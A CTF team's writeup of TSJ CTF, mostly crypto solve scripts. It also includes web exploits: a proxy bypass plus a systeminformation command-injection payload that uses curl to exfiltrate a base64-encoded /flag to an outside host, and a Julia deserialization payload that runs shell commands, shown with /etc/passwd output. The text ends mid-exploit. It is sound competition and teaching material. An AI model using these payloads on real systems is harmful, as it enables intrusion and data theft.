We played TSJ CTF last weekend and we won! This is the writeups of our challenges:

Challenge Name | Category | Points | Writeup |
---|---|---|---|

Futago | CSC, Crypto | 56 | Link |

Completely Secure Cryptography | CSC, Misc | 116 | Link |

Nimja at Nantou | Web | 133 | Link |

babyRSA | Crypto | 276 | Link |

Top Secret | Crypto | 325 | Link |

Cipher Switching Service | Crypto | 416 | Mystiz's blog |

Signature | Crypto | 469 | Mystiz's blog |

RNG++ | Crypto | 213 | Link |

RNG+++ | Crypto | 469 | Link |

Genie | Web, Crypto | 500 | Link |

Remote Code TeXecution 1 | Misc | 500 | Link |

## Futago

*Solved by Mystiz and grhkm; writeup compiled by grhkm.*

We are given three different folders, each containing RSA challenges which we shall solve to get the full flag. Firstly, here is how to read the `.pub`

files in Python:

```
from Crypto.PublicKey import RSA
key = RSA.import_key(open('key.pub', 'r').read())
print(key.n, key.e)
```

With this in mind, let's look at each of the three stages. Note that since this is a CSC challenge, there is quite a bit of guessing involved, but I will try to explain the motivation behind each.

### Stage 1

We are given two RSA keys with $n\sim 2^{2048}$ and $e = 65537$, so there is seemingly no obvious attack on the modulus itself. However, we can guess that the modulus $n_1$ and $n_2$ are generated with a shared prime factor i.e. $n_1 = pq_1$ and $n_2 = pq_2$. This way, we can take their $\gcd$ to extract and factorise the modulus.

Relevant code:

```
from math import gcd
from Crypto.Util.number import bytes_to_long, long_to_bytes
p = gcd(n1, n2)
q1 = n1 // p
q2 = n2 // p
d1 = pow(e1, -1, (p - 1) * (q1 - 1))
d2 = pow(e2, -1, (p - 1) * (q2 - 1))
c1 = open('flag.txt.key1.enc', 'rb').read()
print(long_to_bytes(pow(bytes_to_long(c1), d1, n1)).decode())
# Flag: TSJ{just_several_common_rsa_tricks_combined_together_
# decrypting flag.txt.key2.enc gives the same flag
```

Note that we have $m_1 = m_2$ for the plaintext

### Stage 2

This time, we are given $n_1 = n_2$, $e_1 = 293613$ and $e_2 = 3981$, so

\[\begin{aligned} c_1 &\equiv m^{e_1} \mod pq \\ c_2 &\equiv m^{e_2} \mod pq \end{aligned}\]

From this, it is a standard trick to try to find $k_1, k_2$ such that $k_1e_1 + k_2e_2 = 1$ using the extended euclidean algorithm, as that will give

\[c_1^{k_1}c_2^{k_2}\equiv m^{k_1e_1 + k_2e_2}\equiv m\mod pq\]

However, here we have $\gcd(e_1, e_2) = 3$, meaning they're not coprime. Therefore, we instead find $k_1, k_2$ such that $k_1e_1 + k_2e_2 = 3$, and $m$ from $m^3$ by taking cube roots in the integers.

Solve script:

```
import gmpy2
from math import gcd
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes
# import keys
...
# solve k1 * e1 + k2 * e2 == 3
g, k1, k2 = gmpy2.gcdext(e1, e2)
assert g == 3 and k1 * e1 + k2 * e2 == g
c1 = bytes_to_long(open('flag.txt.key1.enc', 'rb').read())
c2 = bytes_to_long(open('flag.txt.key2.enc', 'rb').read())
m3 = pow(c1, k1, n1) * pow(c2, k2, n1) % n1
m = gmpy2.iroot(m3, 3)[0]
print(long_to_bytes(m).decode())
# Flag: in_a_single_guessy(?)_challenge_
```

### Stage 3

Finally, this time we are given two different $2040$-bit modulus $n_1 = 2256\ldots 6353$ and $n_2 = 2256\ldots 3931$, as well as $e_1 = e_2 = 65537$. As you can see, the two modulus are very close. Indeed, we have $|n_2 - n_1| \sim 2^{1031}$. What does this mean? Well, assuming the parameters for $n_1$ is generated "normally", we will expect that $n_1 = p_1q_1$ where $p_1\sim q_1$, typically with $p_1 < q_1 < 2p_1$. This means that $p_1, q_1$ should be around $2^{1020}$, and $|n_2 - n_1| \sim 2^{11}\cdot p_1$. More specifically, we can write

\[\begin{align*} n_1 &= p\cdot q \\ n_2 &= (p + \epsilon_1)\cdot (q + \epsilon_2) \end{align*}\]

Then we can expect that

\[n_2 - n_1 \approx p\epsilon_2 + q\epsilon_1 \approx (\epsilon_1 + \epsilon_2)\cdot p \implies \epsilon_1 + \epsilon_2\approx 2^{11}\]

The range is really small and we can simply bruteforce for $\epsilon_i$ and check for a factorisation of $n_2$!

... But wait, how do we check for a factorisation without knowing $p$ and $q$? I got stuck here in-contest but Mystiz reminded me that we have $2$ equations with $2$ unknowns, and we can write a simultaneous equation:

\[\begin{cases} pq &= n_1 \\ \epsilon_2 p + \epsilon_1 q &= n_2 - n_1 - \epsilon_1 \epsilon_2 \end{cases}\]

Explicitly, we get $\epsilon_2pq = (n_2 - n_1 - \epsilon_1\epsilon_2)q - \epsilon_1q^2 = \epsilon_2 n_1$

Solve Script:

```
for eps1, eps2 in itertools.product(map(mpz, range(2, 3000, 2)), repeat=2):
a = eps1
b = eps1 * eps2 + n1 - n2
c = eps2 * n1
det = b ** 2 - 4 * a * c
if det < 0:
continue
root, exact = iroot(det, 2)
if exact and (-b + root) % (2 * a) == 0:
q1 = (-b + root) // (2 * a)
p1 = n1 // q1
break
d1 = invert(e1, (p1 - 1) * (q1 - 1))
c1 = open('flag.txt.key1.enc', 'rb').read()
print(long_to_bytes(pow(bytes_to_long(c1), d1, n1)).decode())
# Flag: and_this_is_just_some_random_string_to_make_the_flag_long_enough_308c8dfa144c4f41c3dfa06b5}
```

Final Flag: `TSJ{just_several_common_rsa_tricks_combined_together_in_a_single_guessy(?)_challenge_and_this_is_just_some_random_string_to_make_the_flag_long_enough_308c8dfa144c4f41c3dfa06b5}`

## Completely Secure Cryptography

*Solved by Mystiz; writeup compiled by Mystiz.*

With some time of testing, I found that the output should be generated from:

```
# "Encrypt", of course
def encrypt(m: bytes) -> str:
c = m
for _ in range(16):
c = base64.b64encode(c)
return c.decode().upper()
```

It is observed in two ways:

`base64.b64decode(b'Vm0w') == b'Vm0'`

- This implies that the last step should be a "captialize" operation, and there are a bunch of base64-encode going on.

- if we encode
`TSJ`

for 16 rounds, the prefix of its output and`output.txt`

has the highest similarity (if we are case-insensitive).- Base64 is performed 16 rounds.

From this, we can easily guess byte by byte and see how many characters are matched. Doing this greedily doesn't necessarily give us the correct flag, but we can search through the string space by recursion.

### Solution script

```
import base64
import string
with open('challenge/output.txt') as f:
c = f.read()
def guess(m0=b'', best=0):
res = []
for u in string.printable.encode():
m1 = m0 + bytes([u])
m = m1
# Encodes the flag
for _ in range(16):
m = base64.b64encode(m)
m = m.upper().decode()
for i in range(best, len(c)):
if m[i] != c[i]: break
else:
assert False, f'Done! The flag is {m1.decode()}'
res.append((i, u))
res = sorted(res, reverse=True)
if res[0][0] == best: return
for best, b in res:
m1 = m0 + bytes([b])
guess(m1, best)
guess()
# TSJ{A_Truly_Cursed_Challenge_kekw_xDoeEf+AVg\XI[r`_w(S,~N2?Ba|tFRgsOvM]^ikhG"jcW|z~n& bCU$-qx4Z=;9/6lwLyzYm*TpuHQ.#Jj%1>)P0!d3@}
```

## Nimja at Nantou

*Solved by Kaiziron and Ozetta; writeup compiled by Kaiziron.*

This is a challenge about bypassing the proxy and exploiting an outdated NodeJS library which is vulnerable to command injection.

The proxy will prevent some path to be accessed :

```
map /hello-from-the-world/key http://127.0.0.1:80/forbidden
map /hello-from-the-world/ http://127.0.0.1:80
map /service-info/admin http://127.0.0.1:5000/forbidden
map /service-info/ http://127.0.0.1:5000/
```

To exploit the command injection, we have to first get the key.

This path will return the key, if the request is made from `127.0.0.1`

:

```
get "/":
var jsonheader = parseJson($request.headers.toJson)
var ip = $request.ip
# If x-forwarded-for exists
if haskey(jsonheader["table"], "x-forwarded-for"):
var ips = jsonheader["table"]["x-forwarded-for"]
ip = ips[ips.len-1].str
if ip == "127.0.0.1":
resp getkey()
else:
resp "This is the index page.\nOnly local user can get the key.\n"
```

In order to have a request made from `127.0.0.1`

, we can make a POST request to `/get_hello`

:

```
post "/get_hello":
var jsonheader = parseJson($request.params.toJson)
var host = ""
if haskey(jsonheader, "host"):
host = jsonheader["host"].str
if host != "":
var response = hello_from_the_world(host)
resp response
else:
resp "Please provide the host so that they can say hello to you.\n"
```

It can call the `hello_from_the_world`

function, which will make the request to get the key we want, however it will append `hello`

at the end of the URI :

```
proc hello_from_the_world(host: string): string =
var client = newHTTPClient(timeout=1000)
var uri = host & "hello"
var response = ""
try:
response = client.getContent(uri)
except:
response = "Cannot fetch hello from your designated host.\n"
return response
```

We can add a `?`

at the end of the URI, so the `hello`

it appended will be parsed as a parameter and won't affect the path.

```
POST /hello-from-the-world/get_hello HTTP/1.1
Host: 34.81.54.62:5487
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
host=http://localhost:80/?
HTTP/1.1 200 OK
Content-Length: 62
Server: ATS/9.1.0
Date: Sun, 27 Feb 2022 12:21:06 GMT
Content-Type: text/html;charset=utf-8
Age: 0
Connection: keep-alive
T$J_CTF_15_FUN_>_<_bY_Th3_wAy_IT_is_tHE_KEEEEEEEY_n0t_THE_flag
```

After getting the key, we can proceed to exploit the command injection.

The `systeminformation`

library is version 5.2.6.

```
// cat package.json
{
"name": "service-info",
"version": "1.0.0",
"description": "The package is for service-info from Nimja at Nantou",
"main": "app.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "l3o",
"license": "ISC",
"dependencies": {
"systeminformation": "5.2.6"
}
}
```

It is outdated and vulnerable to command injection

More information about the vulnerability : https://vuldb.com/?id.169997 https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

The `si.services()`

function is vulnerable :

```
function get_services(service) {
return new Promise((res, reject) => {
si.services(service)
.then(data => {
console.log(data);
if (data != null) res(data.toString());
else res("Failed");
}).catch(error => {
console.error("Error: " + error);
reject("There is an error when fetching services.");
})
});
}
```

The `/admin`

path will call that `get_services`

function :

```
if (request.url == "/admin") {
if (request.method == "POST") {
if(body) {
try {
var jsonData = JSON.parse(body);
var service = jsonData.service;
var client_key = jsonData.key;
} catch (e) {
response.end("ERROR");
return 1;
}
}
if (client_key == KEY) {
let return_data = await get_services(service);
response.end(return_data);
} else {
console.log("Key does not match.\n");
response.end("Only local users with the key can access the function.\n");
}
}
else {
response.end("This is the admin page.\n");
}
} else if (request.url == "/forbidden") {
response.end("Only local user can access it.\n");
} else if (request.url == "/") {
response.end("This is the index page.\n");
} else {
response.end("404 Not Found\n");
}
```

That `/admin`

path is blocked by the proxy, but using double slash can bypass it `/service-info//admin`

Then just follow this POC and exploit the command injection to read the flag :

https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

```
POST /service-info//admin HTTP/1.1
Host: 34.81.54.62:5487
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 159
{"service":["$(curl http://REDACTED/`base64 /flag`)"],
"key":"T$J_CTF_15_FUN_>_<_bY_Th3_wAy_IT_is_tHE_KEEEEEEEY_n0t_THE_flag"}
GET /VFNKe0hSNV8xU19DMDAxX1hEX0wzdHNfZ29vb29vfQ== HTTP/1.1
Host: REDACTED
User-Agent: curl/7.64.0
Accept: */*
echo "VFNKe0hSNV8xU19DMDAxX1hEX0wzdHNfZ29vb29vfQ==" | base64 -d
TSJ{HR5_1S_C001_XD_L3ts_gooooo}
```

## babyRSA

*Solved by grhkm and Mystiz; writeup compiled by Mystiz.*

### Challenge Summary

Let $p$ and $q$ be two primes of respectively 1024 bits and 512 bits. Denote $n = pq$ and define the elliptic curve $\mathcal{C}$ by

\[\mathcal{C}: \quad y^2 \equiv x^3 + px + q\ (\text{mod}\ n).\]

Let $P = (x, y)$ be a point on $\mathcal{C}$ with $\text{flag}$ being 1536 bits long. Finally, we are given $Q$ with $Q = e \cdot P$ ($e = 65537$). The goal is to recover $x$ (the padded flag).

### Solution

Since $Q := (x_Q, y_Q)$ is on the elliptic curve $\mathcal{C}$, we have

\[q + {x_Q}^3 - {y_Q}^2 + x_Q \cdot p \equiv 0\ (\text{mod}\ n).\]

If we multiply both sides by $q$, we have an quadratic congruence in $q$:

\[q^2 + ({x_Q}^3 - {y_Q}^2) \cdot q + x_Q \cdot n \equiv 0\ (\text{mod}\ n).\]

Since $q$ and $n$ are respectively 512 and 1536 bits, we have more information than unknowns. We can use LLL to recover $q$.

After that, we can recover $P$ over $\mathbb{Z}_p$ and $\mathbb{Z}_q$ by considering the below elliptic curves:

\[\begin{aligned} & \mathcal{C}_p: \quad y^2 \equiv x^3 + px + q\ (\text{mod}\ p) \\ & \mathcal{C}_q: \quad y^2 \equiv x^3 + px + q\ (\text{mod}\ q) \end{aligned}\]

Also, it would be easy for Sage to compute the order of those elliptic curves. In that way, we can find $d_p$ and $d_q$ such that

\[P = d_p \cdot Q\ (\text{mod}\ p) \quad \text{and} \quad P = d_q \cdot Q\ (\text{mod}\ q).\]

Finally, we can use the Chinese remainder theorem to recover $P\ \text{mod}\ n$. We have the flag by getting its $x$-coordinate:

`TSJ{i_don't_know_how_to_come_up_with_a_good_flag_sorry}`

#### Solution script

```
e = 65537
n = 1084688440161525456565761297723021343753253859795834242323030221791996428064155741632924019882056914573754134213933081812831553364457966850480783858044755351020146309359045120079375683828540222710035876926280456195986410270835982861232693029200103036191096111928833090012465092747472907628385292492824489792241681880212163064150211815610372913101079146216940331740232522884290993565482822803814551730856710106385508489039042473394392081462669609250933566332939789
Qx, Qy = (1079311510414830031139310538989364057627185699077021276018232243092942690870213059161389825534830969580365943449482350229248945906866520819967957236255440270989833744079711900768144840591483525815244585394421988274792758875782239418100536145352175259508289748680619234207733291893262219468921233103016818320457126934347062355978211746913204921678806713434052571635091703300179193823668800062505275903102987517403501907477305095029634601150501028521316347448735695, 950119069222078086234887613499964523979451201727533569872219684563725731563439980545934017421736344519710579407356386725248959120187745206708940002584577645674737496282710258024067317510208074379116954056479277393224317887065763453906737739693144134777069382325155341867799398498938089764441925428778931400322389280512595265528512337796182736811112959040864126090875929813217718688941914085732678521954674134000433727451972397192521253852342394169735042490836886)
load('coppersmith.sage')
bounds = (2^512, )
P.<q> = PolynomialRing(Zmod(n), 1)
f = q^2 - q * (Qy^2 - Qx^3)
roots = small_roots(f, bounds, m=7)
for q0, in roots:
q0 = int(q0)
if q0 == 0: continue
if n % q0 != 0: continue
print(f'{q0 = }')
p0 = n // q0
Cp = EllipticCurve(Zmod(p0), [p0, q0])
op = Cp.order()
print(f'{op = }')
dp = int(pow(e, -1, op))
print(f'{dp = }')
Qp = Cp(Qx, Qy)
Pp = dp * Qp
Cq = EllipticCurve(Zmod(q0), [p0, q0])
oq = Cq.order()
print(f'{oq = }')
dq = int(pow(e, -1, oq))
print(f'{dq = }')
Qq = Cq(Qx, Qy)
Pq = dq * Qq
Ppx, Ppy = map(int, Pp.xy())
Pqx, Pqy = map(int, Pq.xy())
Px = int(crt([Ppx, Pqx], [p0, q0]))
print(f'{Px = }')
for x in range(Px, 2**1536, n):
flag = x.to_bytes(1536//8, 'big')
print(f'{flag = }')
# TSJ{i_don't_know_how_to_come_up_with_a_good_flag_sorry}
```

## Top Secret

*Solved by grhkm and Mystiz; writeup compiled by grhkm.*

We are given the source code.

```
class Cipher:
bs = 16
s = 0x6BF1B9BAE2CA5BC9C7EF4BCD5AADBC47
k = 0x5C2B76970103D4EEFCD4A2C681CC400D
def __init__(self, key):
self.key = key
def _next(self):
# replacing fast_forward with forward works too
self.s = fast_forward(self.s, self.key, self.k)
def ks(self, n):
ks = b""
while len(ks) < n:
self._next()
ks += self.s.to_bytes(self.bs, "big")
return ks[:n]
def encrypt(self, plaintext):
return bytes(x ^ y for x, y in zip(plaintext, self.ks(len(plaintext))))
def decrypt(self, ciphertext):
return self.encrypt(ciphertext)
def forward(s, n, k):
for _ in range(n):
s = (s >> 1) ^ ((s & 1) * k)
return s
if __name__ == "__main__":
key = randbelow(2 ** 128)
with open("flag.png", "rb") as f:
data = f.read()
with open("flag.png.enc", "wb") as f:
f.write(Cipher(key).encrypt(data))
```

As we can see, it is a stream cipher where the flag is xor'ed by a stream with a fixed state `s`

. First, note that the first $16$ bytes, and thus the entire first "round" of bits, can be recovered by xor'ing the encrypted flag with the PNG header and the IHDR chunk. Further analysing the `forward`

function, we see that it is essentially a *Galois LFSR* - in short, each time the LFSR shifts, the entire state is xor'ed by a key `k`

. If we now represent the state as a vector $\vec{s} \in \mathbb{F}_2^{128}$, we can see the forward operation is

\[f: \begin{pmatrix} s_0 \\ s_1 \\ \vdots \\ s_{126} \\ s_{127} \end{pmatrix} \mapsto \begin{pmatrix} s_1 \\ s_2 \\ \vdots \\ s_{127} \\ 0 \end{pmatrix} \oplus s_0 \cdot \vec{k}\]

Where $\vec{k}$ is the constant in the source code written as a binary vector. With some linear algebra, we can write this as a matrix multiplication $\vec{s} \mapsto M\vec{s}$, but we got stuck here as we thought it is impossible to solve for $M^n\vec{s} = \vec{t}$, because of two reasons:

- We do not have the full matrix $M^n$
- Even if we do, it is infeasible to calculate discrete logarithms of $128\times 128$ matrices.

As it turns out, both the assumptions are incorrect. Firstly, due to the special nature of $M$ being the representation of a Galois LFSR, we can treat $\vec{s}$ as an element of $\mathbb{F}_{2^{128}}$, and more specifically as a polynomial. To motivate this, we can look at the following examples: (writing vectors in row form from $s_0$ to $s_{127}$)

\[\begin{aligned} f(1, 0, 0, \ldots, 0, 0) &= (0, 1, 0, \ldots, 0, 0) \\ f(0, 0, 1, \ldots, 0, 0) &= f(0, 0, 1, \ldots, 0, 0) \\ &\vdots \\ f(0, 0, 0, \ldots 1, 0) &= f(0, 0, 0, \ldots, 0, 1) \\ f(0, 0, 0, \ldots, 0, 1) &= \vec{k} \end{aligned}\]

From the cyclic nature of the operation, we can treat the vector $(s_0, s_1, \ldots, s_{127})$ as polynomials in $\mathbb{F}_{2^{128}}$ as $s_0 + s_1x + s_2x^2 + \ldots + s_{127}x^{127}$ and $f(s) = xs$. Then since $x^{127}$ gets mapped to $k$ (as a polynomial), we can think of this as a modulo operation

\[f(s) = (xs\mod x^{128} + k(x))\]

Now the idea is clear. With the first $16$ bytes i.e. $128$ bits of keystream, we can form a polynomial of the state $t$, and we get the equation

\[t \equiv x^n s \mod (x^{128} + k(x))\]

We can directly compute the discrete logarithm $\log_x(\frac{t}{s})$. It is crucial to use pari's `.fflog`

instead of sage's builtin `.log`

method before Sage 9.5, as Sage uses generic PH-BSGS method to solve discrete logarithm in this case.

There is a final trick where $x^{128} + k(x)$ is not irreducible but instead is in the form of $xP(x)$. We simply consider discrete logarithm mod $P(x)$ and the rest follows as seen from the modulo relation.

Code:

```
k = 0x5C2B76970103D4EEFCD4A2C681CC400D
init_s = 0x6BF1B9BAE2CA5BC9C7EF4BCD5AADBC47
def to_poly(s):
return sum(((s >> i) & 1) * x^(127 - i) for i in range(128))
def to_int(r):
return sum(int(x) << (127 - i) for i, x in enumerate(r.coefficients(sparse=False)))
R.<x> = PolynomialRing(GF(2), 'x')
# from other png files
png_header = 0x89504e470d0a1a0a0000000d49484452
# from flag.png.enc
known = 0x9995611033e8bf22ae4defce1e53b92c
cur_s = to_poly(png_header ^^ known)
# extract modulus
modulus = R((x^128 + to_poly(k)) / x)
# setup fields and convert
print(modulus.factor())
Q.<x> = GF(2^127, modulus=modulus)
cur_sQ = Q(cur_s)
init_sQ = Q(to_poly(init_s))
# discrete log
dlog = ZZ(pari.fflog(Q(cur_sQ / init_sQ), Q(x)))
print(f"{dlog = }")
assert Q(x)^dlog * init_sQ == Q(cur_sQ)
# however, calculations have to be done in the original modulus
modulus *= R(x)
cur_s = R(to_poly(init_s))
# decrypt flag
enc = open('flag.png.enc', 'rb').read()
keystream = b""
while len(keystream) < len(enc):
cur_s = cur_s * pow(R(x), dlog, modulus) % modulus
keystream += to_int(cur_s).to_bytes(16, "big")
dec = bytes([x ^^ y for x, y in zip(enc, keystream)])
open('flag.png', 'wb').write(dec)
```

Flag: `TSJ{discrete_log_in_a_finite_field}`

## RNG++

*Solved by Mystiz; writeup compiled by grhkm and Mystiz.*

### Challenge Summary

Suppose that we have a linear congruence generator $s_{k+1} = (a \cdot s_k + c)\ (\text{mod}\ m)$ for all $k \geq 0$. We have a transcript file that contains $m$, $a$ and $c$ ($a$ and $c$ are primes less than $m$). We are also given a number of ciphertexts. The $k$-th ciphertext $c_k$ ($k \geq 1$) is computed by:

\[c_k = m_k \oplus s_k.\]

Here $m_k$ is the $k$-th message. $m_1$ is the flag with length $l$ and $m_2, m_3, ...$ are strings of length $l$ those contain digits only (for example, `m2 = b"133765536"`

). The goal is to recover $m_1$.

In this challenge, the parameters are given below:

```
l = 32
# m = 2^256
m = 115792089237316195423570985008687907853269984665640564039457584007913129639936
a = 86063744400850297667628777812749377798737932751281716573108946773081904916117
c = 64628347935200268328771003490390752890895505335867420334664237461501166025747
ciphertexts = [
0x59fe4b12f3f85e6756189ba75cc7bfc6ebc5b9a9e0f008623dd008f9632927c2,
0x413c3d70d09e08d2e5b10b51800b65571f3afde82ca233351cddae591c3996d2,
0xea4aac7bf92c87cad6584d4cd8337af93afc2fd42314c02298afcdd26ec42771,
0x8c6425226df355ccd09cc5c968b3cfa8fd606179346a66841ee5b7f6e6425409,
0x16cd6c30d1bff2dc1ba2e6257fb37fd5c477d0952e254aa3c5c301b0e43846c8
]
```

### Solution

As noted, we notice that the random strings $m_i, i\geq 2$ consists of digits only. We further note that since the modulus $m = 2^{256}$ is a power of $2$, we have that

\[m_1 \oplus (AS + C) \equiv c_1 \mod 2^{256}\]

\[\implies \begin{cases} m_1[:1] \oplus (AS + C\mod 2^8) &\equiv c_1 \mod 2^8 \\ m_1[:2] \oplus (AS + C\mod 2^{16}) &\equiv c_1 \mod 2^{16} \\ m_1[:3] \oplus (AS + C\mod 2^{24}) &\equiv c_1 \mod 2^{24} \\ &\vdots \end{cases}\]

Where $S' \in [0, 2^{8i}]$ is the restricted $S$, and equations are similar for $m_2, m_3, m_4$. Therefore, we can test $i = 1, 2, \ldots, 32$, bruteforce the corresponding character $c_1[i]$ (which has $10$ choices), and use recursion.

#### Solution script

```
m = 2**256
a = 86063744400850297667628777812749377798737932751281716573108946773081904916117
c = 64628347935200268328771003490390752890895505335867420334664237461501166025747
cs = [
0x59fe4b12f3f85e6756189ba75cc7bfc6ebc5b9a9e0f008623dd008f9632927c2,
0x413c3d70d09e08d2e5b10b51800b65571f3afde82ca233351cddae591c3996d2,
0xea4aac7bf92c87cad6584d4cd8337af93afc2fd42314c02298afcdd26ec42771,
0x8c6425226df355ccd09cc5c968b3cfa8fd606179346a66841ee5b7f6e6425409,
0x16cd6c30d1bff2dc1ba2e6257fb37fd5c477d0952e254aa3c5c301b0e43846c8,
]
nums = set(b'0123456789')
def attempt(current=0, progress=0):
if progress == 32:
m1 = current
s1 = m1 ^ cs[1]
s0 = pow(a, -1, m) * (s1 - c) % m
m0 = s0 ^ cs[0]
flag = int.to_bytes(m0, progress, 'big')
print(f'{flag = }')
return
mod = 256**(progress + 1)
for x in range(10):
m1 = current + 256**progress * (0x30 + x)
s1 = (m1 ^ cs[1]) % mod
s2 = (a * s1 + c) % mod
m2 = (s2 ^ cs[2]) % mod
if set(int.to_bytes(m2, progress+1, 'big')) | nums != nums: continue
s3 = (a * s2 + c) % mod
m3 = (s3 ^ cs[3]) % mod
if set(int.to_bytes(m3, progress+1, 'big')) | nums != nums: continue
s4 = (a * s3 + c) % mod
m4 = (s4 ^ cs[4]) % mod
if set(int.to_bytes(m4, progress+1, 'big')) | nums != nums: continue
attempt(m1, progress+1)
attempt()
# TSJ{this_is_a_boring_challenge_sorry}
```

## RNG+++

*Solved by Mystiz; writeup compiled by Mystiz.*

### Challenge Summary

The challenge has the same setting as *RNG++* with a different set of parameters:

```
l = 24
# m = 2^192 + 133 = NextPrime(2^192)
m = 6277101735386680763835789423207666416102355444464034513029
a = 5122535491606943208710238231068027098883286375061143870757
c = 3210047385276654404868184757570927620150853542689320481571
ciphertexts = [
0x0b8bb965128d77d56f2efc1b7ec640699927dbb711d13a41,
0x5c894788bdf78b2b7bf4081270ebb495b95c90ab6a7fb3f0,
0x737d9ea03e9fd30eeb2176aa588480c0b798682a7f4013fc,
0x299bd16cef01a65b467d5e3dfd46ec62b4e29f8994b1a4c0,
0xaa9b3e5f5635b7cab0eaa50aa854223975bfc10976a5b198,
0xdfdcac905116a9f8ac0fb9bdf8da193616b58713daa7dade,
0x520b8ea46a7ad0a590064b6f067b9b3962c4874541eb34f0,
0xa490b4afaf268540b0ecafff938b4531ad06b5706a4d68e6,
0x087726f7bf592ad0ee92e78773dc860f4975766f382bf192
]
```

### Solution

The idea is similar to *Signature*, which attempts to remove `XOR`

operations of a relation and convert it to affine relation. The below script would recover the seed $s_0$ from ciphertexts.

After we have the seed recovered from LLL, we can decrypt $c_1$ and yield the flag:

`TSJ{sorry_for_the_broken_ver}`

#### Solution script

```
m = 6277101735386680763835789423207666416102355444464034513029 # 2^192 + 133
a = 5122535491606943208710238231068027098883286375061143870757
c = 3210047385276654404868184757570927620150853542689320481571
cs = list(map(int, [
0x0b8bb965128d77d56f2efc1b7ec640699927dbb711d13a41,
0x5c894788bdf78b2b7bf4081270ebb495b95c90ab6a7fb3f0,
0x737d9ea03e9fd30eeb2176aa588480c0b798682a7f4013fc,
0x299bd16cef01a65b467d5e3dfd46ec62b4e29f8994b1a4c0,
0xaa9b3e5f5635b7cab0eaa50aa854223975bfc10976a5b198,
0xdfdcac905116a9f8ac0fb9bdf8da193616b58713daa7dade,
0x520b8ea46a7ad0a590064b6f067b9b3962c4874541eb34f0,
0xa490b4afaf268540b0ecafff938b4531ad06b5706a4d68e6,
0x087726f7bf592ad0ee92e78773dc860f4975766f382bf192,
]))
n = len(cs)-1
P.<s0> = PolynomialRing(GF(m))
ss = [s0]
while len(ss)-1 <= len(cs):
ss.append(a * ss[-1] + c)
try:
ss[-1] = ss[-1] % m
except:
pass
ss = ss[1:]
MASK = int.from_bytes(b'0'*24, 'big')
weights = [2^256 for _ in range(8)] # all zeros
weights += [2^192, 1] # 1, s0 (192 bit)
weights += [2^192 for _ in range(24*8)] # rki's (-15 ~ 15)
A = Matrix(ZZ, 2 + 25*n)
Q = diagonal_matrix(weights)
for j in range(n):
vj, uj = map(int, ss[j+1].coefficients())
if True:
A[0, j] = vj - (cs[j+1]^^MASK)
A[1, j] = uj
for i in range(24):
A[2+24*j+i, j] = 256**i
if True:
A[2+24*n+j, j] = m
for i in range(2 + 24*n):
A[i, n+i] = 1
A *= Q
A = A.LLL()
A /= Q
for row in A:
if list(row[:n]) != [0 for _ in range(n)]: continue
if row[n] < 0: row = -row
if row[n] != 1: continue
s0 = int(row[n+1] % m)
rs = row[n+2:]
if min(rs) < -15: continue
if max(rs) > 15: continue
print(f'{s0 = }')
print(f'{rs = }')
print()
```

## Genie

*Solved by grkhm, Mystiz and Ozetta; writeup compiled by Mystiz and Ozetta.*

The challenge is a website developed using *Genie* Framework, which is based on *Julia*. The website allows user to upload files and it stores the file list to the session.

### The first steps

*From Mystiz's perspective*

I noticed this challenge after it is tagged with "crypto". Since the source code for the web server (`main.jl`

) is pretty short, I suspect that we should be looking for a bug from the *Genie* framework.

One use of crypto in *Genie* is their cookie-session management. In short, cookies are ciphertexts of the session ID. The session ID corresponds to a file in the `/app/sessions`

folder. In pseudocode:

```
# key and iv are fixed
cookie = aes_cbc_encrypt(plaintext=session_id, key=key, iv=iv)
session_file = '/app/sessions/' + session_id
```

Seeing AES-CBC is being used, I suspected that there is a padding oracle vulnerability... After that, I deployed an instance locally with key and IV hardcoded. I found that we can set the session ID to be `../uploads/session.txt`

and it would read my uploaded `session.txt`

as the session content. I drafted an attack flow and get the web guy (the unbeatable *Ozetta*) involved:

- Upload
`session.txt`

with a malicious session that will copy the flag to`uploads/session.txt`

- Set the session to point to
`../uploads/session.txt`

- Visit the page for the command in the session to execute
- Go to
`http://[HOST]/uploads/flag`

for the flag

By the way, *grhkm* asked if we could upload a file called `../f`

early on. I quickly rejected his idea. I was so wrong... More on that later.

### Crafting a malicious session file

*From Ozetta's perspective*

Mystiz et al. found that the session id stored in cookies (`__geniesid`

) is an encrypted filename of the session file in the server. The encryption is using a secret token, which is random whenever the server instance is created:

`Genie.secret_token!(sha256(randstring(256)) |> bytes2hex)`

Apparently we need to specify the `__geniesid`

to point to the file we uploaded to do something interesting.
What kind of thing we should do? We found that the sesion file is in a serialized format that starts with "7JL":
https://docs.julialang.org/en/v1/stdlib/Serialization/
So probably it is some kind of deserialization and trigger RCE like the pickle in python or POP chain in PHP:
https://cwe.mitre.org/data/definitions/502.html
Let's search for this in Julia and see whether there are some PoCs already. It turns out that there is an issue in GitHub opened since 2019... lol
https://github.com/JuliaLang/julia/issues/32601
To test the PoC, we first run the code stated in the issue on the local server, and then replace the session file we found on the local server to the PoC outputed file, and then visit the home page to trigger the session loading. Then we see this in the error log:

```
web_1 | ┌ Error: KeyError(:REQUEST)
web_1 | └ @ Genie.AppServer ~/.julia/packages/Genie/drXWm/src/AppServer.jl:120
web_1 | 2022/02/27 15:43:01 [error] 16#16: *6 upstream prematurely closed connection while reading response header from upstream, client: 172.27.0.1, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8888/", host: "localhost:8888"
web_1 | root:x:0:0:root:/root:/bin/bash
web_1 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
web_1 | bin:x:2:2:bin:/bin:/usr/sbin/nologin
web_1 | sys:x:3:3:sys:/dev:/usr/sbin/nologin
```

... It works pretty well! Since it only shows the execution result in the error log, probably we need to set up a requestbin to catch the flag after RCE. But to be more convenient to our team members, we can just copy the flag to the `uploads`

folder on the server and then use the native feature to download the flag, so we don't even need external connection lol. Here is the exploit code based on the PoC:

```
using Serialization
Serialization.deserialize(s::Serializer, t::Type{BigInt})=run(`sh -c 'cp /app/flag* /app/uploads/flag'`);
